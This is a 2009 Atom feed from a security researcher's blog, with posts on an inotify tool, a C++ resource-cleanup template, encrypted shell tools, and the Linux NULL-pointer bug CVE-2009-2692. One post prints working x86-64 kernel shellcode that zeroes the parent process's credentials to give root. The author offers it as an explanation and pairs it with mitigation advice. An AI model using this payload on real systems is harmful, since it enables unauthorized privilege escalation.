xmlns:thr='http://purl.org/syndication/thread/1.0'>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-6910211150840076086</id><published>2009-09-21T23:25:00.000-07:00</published><updated>2009-09-21T23:30:03.036-07:00</updated><title type='text'>Small improvement for inotify</title><content type='html'>&lt;span style="font-family: courier new;"&gt;The &lt;a href="http://www.suse.de/%7Ekrahmer/inotify.cc"&gt;inotify&lt;/a&gt; tool got a small improvement yesterday, so you&lt;br /&gt;can pass &lt;span style="font-weight: bold;"&gt;-r&lt;/span&gt; (recursion) to it. It now also allows you to recursively&lt;br /&gt;watch newly created/modified/deleted/accessed files/dirs&lt;br /&gt;in newly created subdirs of the watched directory.&lt;br /&gt;This already showed me some differences between &lt;span style="font-style: italic;"&gt;man&lt;/span&gt; versions :)&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-6910211150840076086?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/6910211150840076086/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=6910211150840076086' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/6910211150840076086'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/6910211150840076086'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2009/09/small-improvement-for-inotify.html' title='Small improvement for inotify'/><author><name>Icke</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='09289356220260620493'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-3840624411502435057</id><published>2009-09-14T01:53:00.000-07:00</published><updated>2009-09-14T02:00:00.973-07:00</updated><title type='text'>un-evil code</title><content type='html'>&lt;span style="font-family: courier new;"&gt;I had incredible dl statistics for &lt;span style="font-style: italic;"&gt;gc.cc &lt;/span&gt;(see last posting). Even&lt;br /&gt;better than for exploits, years ago when I was publishing them.&lt;br /&gt;Seems to me I should switch completely to write robust and boring&lt;br /&gt;application code which is much more appreciated by the public.&lt;br /&gt;&lt;br /&gt;Nevertheless, since there have not been reports about&lt;br /&gt;&lt;a href="http://stealth.openwall.net/crash"&gt;crash&lt;/a&gt; containing major bugs or alike, I removed the beta-test&lt;br /&gt;password from the directory.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-3840624411502435057?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/3840624411502435057/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=3840624411502435057' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/3840624411502435057'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/3840624411502435057'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2009/09/un-evil-code.html' title='un-evil code'/><author><name>Icke</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='09289356220260620493'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-576585581344859972</id><published>2009-09-04T06:53:00.000-07:00</published><updated>2009-09-05T04:48:05.201-07:00</updated><title type='text'>C++ local_scope&lt;&gt; template</title><content type='html'>&lt;span style="font-family:courier new;"&gt;If you write a lot of code (and I know, some of the readers&lt;br /&gt;actually &lt;span style="font-weight: bold;"&gt;do&lt;/span&gt; :), depending on your style, you often run&lt;br /&gt;into situations where you allocate some ressource like&lt;br /&gt;&lt;span style="font-style: italic;"&gt;fopen()&lt;/span&gt;ing some files or allocing memory and later&lt;br /&gt;you realize some error-condition and you properly need&lt;br /&gt;to &lt;span style="font-style: italic;"&gt;fclose()/free()&lt;/span&gt; all the stuff in the right order&lt;br /&gt;and depending on what was allocated yet.&lt;br /&gt;This leads to a lot of copy-n-paste code and often&lt;br /&gt;plain wrong code or even better security breaches :)&lt;br /&gt;&lt;br /&gt;If you like C++, you can have a look &lt;a href="http://stealth.openwall.net/misc/gc.cc"&gt;here&lt;/a&gt; to avoid&lt;br /&gt;all these problems.&lt;br /&gt;&lt;br /&gt;You can register FILE pointers, file-descriptors or&lt;br /&gt;memory regions to a &lt;span style="font-style: italic;"&gt;local_scope&lt;&gt;&lt;/span&gt; template and it&lt;br /&gt;automatically closes/releases ressources when you leave scope&lt;br /&gt;(also in right order).It is as easy as&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;local_scope&amp;lt;int&amp;gt; fd(open("/tmp/x2", O_RDONLY), close);&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;and you can use fd afterwards like you'd normally use&lt;br /&gt;your descriptor. If you need to return due to some&lt;br /&gt;other error condition, the file is closed when the&lt;br /&gt;scope is left.Other ressources like lock's etc could easily&lt;br /&gt;be added by extending &lt;span style="font-style: italic;"&gt;local_scope&lt;&gt;&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-576585581344859972?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/576585581344859972/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=576585581344859972' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/576585581344859972'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/576585581344859972'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2009/09/c-localscope-template.html' title='C++ local_scope&lt;&gt; template'/><author><name>Icke</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='09289356220260620493'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-4606783657631844105</id><published>2009-08-28T05:47:00.000-07:00</published><updated>2009-08-28T05:59:26.929-07:00</updated><title type='text'>rewrote Port Shell Crypter</title><content type='html'>&lt;span style="font-family:courier new;"&gt;I rewrote &lt;a href="http://stealth.openwall.net/crypto/"&gt;PSC&lt;/a&gt;, a tool to upgrade plaintext and/or&lt;br /&gt;sessions without a tty across networks (even via&lt;br /&gt;multiple hops) to a full crypted pty based session.&lt;br /&gt;&lt;br /&gt;It works by doing the handshake and crypto across&lt;br /&gt;the terminal layer instead of using network calls. The whole&lt;br /&gt;code does not need any networking functionality.&lt;br /&gt;If you have a chained session from host A to D like&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;A -&gt; B -&gt; C -&gt; D&lt;/span&gt; and before starting the session you start your&lt;br /&gt;local &lt;span style="font-style: italic;"&gt;psc&lt;/span&gt; tool on host &lt;span style="font-weight: bold;"&gt;A&lt;/span&gt; and as soon as on host &lt;span style="font-weight: bold;"&gt;D&lt;/span&gt; you start&lt;br /&gt;the other endpoint, the full chain is encrypted and nobody&lt;br /&gt;on &lt;span style="font-weight: bold;"&gt;B&lt;/span&gt; and &lt;span style="font-weight: bold;"&gt;C&lt;/span&gt; can see or modify what you are typing.&lt;br /&gt;Evil administrators on intermediate hosts (&lt;span style="font-weight: bold;"&gt;B, C&lt;/span&gt;) might use&lt;br /&gt;&lt;span style="font-style: italic;"&gt;ptrace()&lt;/span&gt; or whatever to even sniff SSH sessions. Using &lt;span style="font-style: italic;"&gt;psc&lt;/span&gt;,&lt;br /&gt;this is not possible anymore.&lt;br /&gt;&lt;br /&gt;First, I wanted to make some video (since it seems very hip&lt;br /&gt;these days :) showing how a old &lt;span style="font-style: italic;"&gt;gitweb&lt;/span&gt; exploit makes a full&lt;br /&gt;pty crypto shell using psc so you could use 'mc' etc.&lt;br /&gt;on it at the end. However, &lt;span style="font-style: italic;"&gt;xvidcap&lt;/span&gt; has some lib requirements&lt;br /&gt;which I cant give it on my machine yet without hours&lt;br /&gt;of recompilation and so I thought I do the release old-school. :)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-4606783657631844105?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/4606783657631844105/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=4606783657631844105' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/4606783657631844105'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/4606783657631844105'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2009/08/rewrote-port-shell-crypter.html' title='rewrote Port Shell Crypter'/><author><name>Icke</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='09289356220260620493'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-3727746494748899835</id><published>2009-08-21T05:58:00.000-07:00</published><updated>2009-08-21T06:03:15.658-07:00</updated><title type='text'>CRypted Administration SHell beta available</title><content type='html'>&lt;span style="font-family:courier new;"&gt;You can download &lt;span style="font-style: italic;"&gt;crash&lt;/span&gt; &lt;a href="http://stealth.openwall.net/crash/"&gt;here.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I started this project during last hackweek in July 09 and&lt;br /&gt;now found some time to finish it.&lt;br /&gt;Login/password is cr4sh/cr4sh. If you have any major problems&lt;br /&gt;please let me know, otherwise the release will be made&lt;br /&gt;available to a broader audience.&lt;br /&gt;crash has not yet been tested on slow/hanging networks&lt;br /&gt;and I'd be interested in feedback whether the chunksizes&lt;br /&gt;still do etc.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-3727746494748899835?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/3727746494748899835/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=3727746494748899835' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/3727746494748899835'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/3727746494748899835'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2009/08/crypted-administration-shell-beta.html' title='CRypted Administration SHell beta available'/><author><name>Icke</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='09289356220260620493'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-5869848190753994594</id><published>2009-08-15T03:16:00.000-07:00</published><updated>2009-08-16T23:28:04.762-07:00</updated><title type='text'>CVE-2009-2692 and android; mitigation</title><content type='html'>&lt;span style="font-family:courier new;"&gt;&lt;span style="font-weight: bold;"&gt;Update:{ &lt;/span&gt;it seems like someone else have had more time than me&lt;br /&gt;checking out the CVE-2009-2692 vulnerability and the -EINVAL&lt;br /&gt;vs. -EPERM issue on android. As already stated below, one&lt;br /&gt;should check the ELF loader and how it handles PT_LOAD&lt;br /&gt;segments of 0-addr.And, it seems that it did the trick!&lt;br /&gt;At least from reading &lt;a href="http://www.ryebrye.com/blog/2009/08/16/android-rooting-in-1-click-in-progress/"&gt;their exploit.&lt;/a&gt;&lt;br /&gt;I didnt test it but it looks good to me.&lt;span style="font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;I made up a reliable exploit for CVE-2009-2692 myself with a generic&lt;br /&gt;kernel 2.6 x86-64 shellcode which has only a small stub in&lt;br /&gt;asm and does the rest in C.&lt;br /&gt;It works reliable across the various kernel versions and I hoped to pwn my android with it, but unfortunately it turned out that the running 2.6.27 kernel inside has proper &lt;span style="font-style: italic;"&gt;mmap_min_addr &lt;/span&gt;set to 0x1000 so this bug is out of the game. There is no suid for a&lt;br /&gt;PERSONALITY_SVR4 preload either. The thing that makes me&lt;br /&gt;wonder is, that it returns &lt;span style="font-style: italic;"&gt;-EINVAL&lt;/span&gt; instead of the common &lt;span style="font-style: italic;"&gt;-EPERM&lt;/span&gt;,&lt;br /&gt;so maybe some further research is required.&lt;br /&gt;Maybe linking the ELF binary's PT_LOAD segment to 0 helps :)&lt;br /&gt;&lt;br /&gt;The funny thing is that a lot &lt;span style="font-style: italic;"&gt;"&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="font-style: italic;"&gt;CVE-2009-2692 exploit" &lt;/span&gt;queries&lt;br /&gt;from search engines point to this site and the crowd seem to have problems finding spender's &lt;span style="font-style: italic;"&gt;wunderbar_emporium.tgz&lt;/span&gt; :-)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;br /&gt;If you are looking for easy mitigation of the attack&lt;br /&gt;on &lt;span style="font-style: italic;"&gt;openSUSE&lt;/span&gt; systems, call&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;echo 0x1000 &gt; /proc/sys/vm/mmap_min_addr&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;from a rootshell. Since there is no setuid &lt;span style="font-style: italic;"&gt;pulseaudio&lt;/span&gt; or&lt;br /&gt;&lt;span style="font-style: italic;"&gt;SELinux&lt;/span&gt; installed on &lt;span style="font-style: italic;"&gt;openSUSE&lt;/span&gt;, this kills any NULL ptr attacks.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-5869848190753994594?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/5869848190753994594/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=5869848190753994594' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/5869848190753994594'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/5869848190753994594'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2009/08/cve-2009-2692-and-android-mitigation.html' title='CVE-2009-2692 and android; mitigation'/><author><name>Icke</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='09289356220260620493'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-3677855662917980626</id><published>2009-08-14T04:35:00.000-07:00</published><updated>2009-08-16T02:04:51.844-07:00</updated><title type='text'>A .note on CVE-2009-2692</title><content type='html'>&lt;span style="font-family:courier new;"&gt;I recommend readin&lt;/span&gt;g &lt;a href="http://blog.cr0.org/2009/08/linux-null-pointer-dereference-due-to.html"&gt;this posting.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;I am usually not commenting on other ppl's bug-findings. 100% of the fame and honor should&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;go to Tavis Ormandy and Julien Tinnes. If &lt;span style="font-style: italic;"&gt;spenders&lt;/span&gt; exploit is doing too much magic for you,&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;heres the simple code snippet, which, if mapped at 0x0&lt;/span&gt;&lt;span style="font-family:courier new;"&gt; gives you root:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;span style="font-style: italic; color: rgb(128, 128, 128);"&gt;// threadinfo = $0xffffffffffffe000 &amp;amp; %rsp&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(128, 128, 128);"&gt;// task_struct offsets: current-&amp;gt;parent = 696 current-&amp;gt;uid = 1080&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;void&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; do_root_2_6_27_x8664()&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;{&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;        __asm__(&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;""&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;        &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"xor    %rax,%rax&lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;\n&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;        &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"mov    $0xffffffffffffe000,%rax&lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;\n&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;     &lt;/span&gt;&lt;span style="font-style: italic; color: rgb(128, 128, 128);"&gt;/* find threadinfo */&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;        &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"and    %rsp,%rax&lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;\n&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;        &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"mov    (%rax),%rax&lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;\n&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                  &lt;/span&gt;&lt;span style="font-style: italic; color: rgb(128, 128, 128);"&gt;/* threadinfo-&amp;gt;task     */&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;        &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"mov    696(%rax),%rax&lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;\n&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;               &lt;/span&gt;&lt;span style="font-style: italic; color: rgb(128, 128, 128);"&gt;/* task-&amp;gt;parent         */&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;        &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"movl   $0,1080(%rax)&lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;\n&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                &lt;/span&gt;&lt;span style="font-style: italic; color: rgb(128, 128, 128);"&gt;/* task-&amp;gt;uid = 0        */&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;        &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"movl   $0,1084(%rax)&lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;\n&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                &lt;/span&gt;&lt;span style="font-style: italic; color: rgb(128, 128, 128);"&gt;/* task-&amp;gt;euid = 0       */&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;        &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"movl   $0,1088(%rax)&lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;\n&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                &lt;/span&gt;&lt;span style="font-style: italic; color: rgb(128, 128, 128);"&gt;/* task-&amp;gt;suid = 0       */&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;        &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"movl   $0,1092(%rax)&lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;\n&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                &lt;/span&gt;&lt;span style="font-style: italic; color: rgb(128, 128, 128);"&gt;/* task-&amp;gt;fsuid = 0      */&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;        &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"movl   $0,1096(%rax)&lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;\n&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                &lt;/span&gt;&lt;span style="font-style: italic; color: rgb(128, 128, 128);"&gt;/* task-&amp;gt;gid = 0        */&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;        &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"movl   $0,1100(%rax)&lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;\n&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                &lt;/span&gt;&lt;span style="font-style: italic; color: rgb(128, 128, 128);"&gt;/* task-&amp;gt;egid = 0       */&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;        &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"leaveq&lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;\n&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;It doesn't disable SELinux or so, its just for understanding that for simple rootshell you only&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;need to give the parent of the exploit (which is usually the shell that started the exploit)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;UID/EUID of 0. The code is a modification of shellcode I used in a bluetooth kernel&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;PoC exploit 4 years or so ago.The code will cause a segfault&lt;br /&gt;to the current process which does not matter since we&lt;br /&gt;only care about the parent shell which obtains its root privs.&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;So, how much magic is there with the exploit?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Greetings to the people at HAR, I am sad I cannot attend this time :(&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-3677855662917980626?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/3677855662917980626/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=3677855662917980626' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/3677855662917980626'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/3677855662917980626'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2009/08/note-on-cve-2009-2692.html' title='A .note on CVE-2009-2692'/><author><name>Icke</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='09289356220260620493'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-8410083625439729436</id><published>2009-07-30T01:59:00.000-07:00</published><updated>2009-07-30T02:29:34.075-07:00</updated><title type='text'>pwned</title><content type='html'>&lt;span style="font-family: courier new;"&gt;Today I proudly realized, while viewing Referer logs, I&lt;br /&gt;have been nominated for the &lt;span style="font-style: italic;"&gt;Best Privilege Escalation&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Bug&lt;/span&gt; in the &lt;a href="http://pwnie-awards.org/2009/nominees.html#bestprivescalation"&gt;pwnie-awards&lt;/a&gt; for discovering and exploiting&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;CVE-2009-1185 (udev). The story behind that is that&lt;br /&gt;I was frustrated to have no root-sex within the last&lt;br /&gt;6 months or so (since postfix) and therefore&lt;br /&gt;I started reviewing the glibc ELF loader for such which lead me&lt;br /&gt;somehow to certain daemons such as &lt;span style="font-weight: bold;"&gt;nscd&lt;/span&gt; followed by&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;hald&lt;/span&gt; and finally &lt;span style="font-weight: bold;"&gt;udevd&lt;/span&gt;. I quickly realized that it missed&lt;br /&gt;important checks but the impact was unknown to me since&lt;br /&gt;it kindly denied my exploitation offers until I found my way in.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;You might be surprised to hear that I am not really&lt;br /&gt;a security guy and used to stay away from sec-con events,&lt;br /&gt;even though I work in that field.&lt;br /&gt;I rather see myself as a programmer with interest in coding&lt;br /&gt;and reading other peoples code and its often funny to&lt;br /&gt;watch and follow discussions by the "security professionals".&lt;br /&gt;&lt;br /&gt;The thing that makes me actually commenting on this is the&lt;br /&gt;nice coincide with the nomination of my hero &lt;a href="http://pwnie-awards.org/2009/nominees.html#lifetime"&gt;Solar Designer&lt;/a&gt;. :)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-8410083625439729436?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/8410083625439729436/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=8410083625439729436' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/8410083625439729436'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/8410083625439729436'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2009/07/pwned.html' title='pwned'/><author><name>Icke</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='09289356220260620493'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-8530454624476761326</id><published>2009-07-29T02:29:00.000-07:00</published><updated>2009-07-29T02:31:57.651-07:00</updated><title type='text'>unreadable comments</title><content type='html'>&lt;span style="font-family: courier new;"&gt;Its possible that its just spam, but I receive a lot&lt;br /&gt;of chinese/japanese or whatever comments to my postings.&lt;br /&gt;Since I wont approve what I dont understand, I 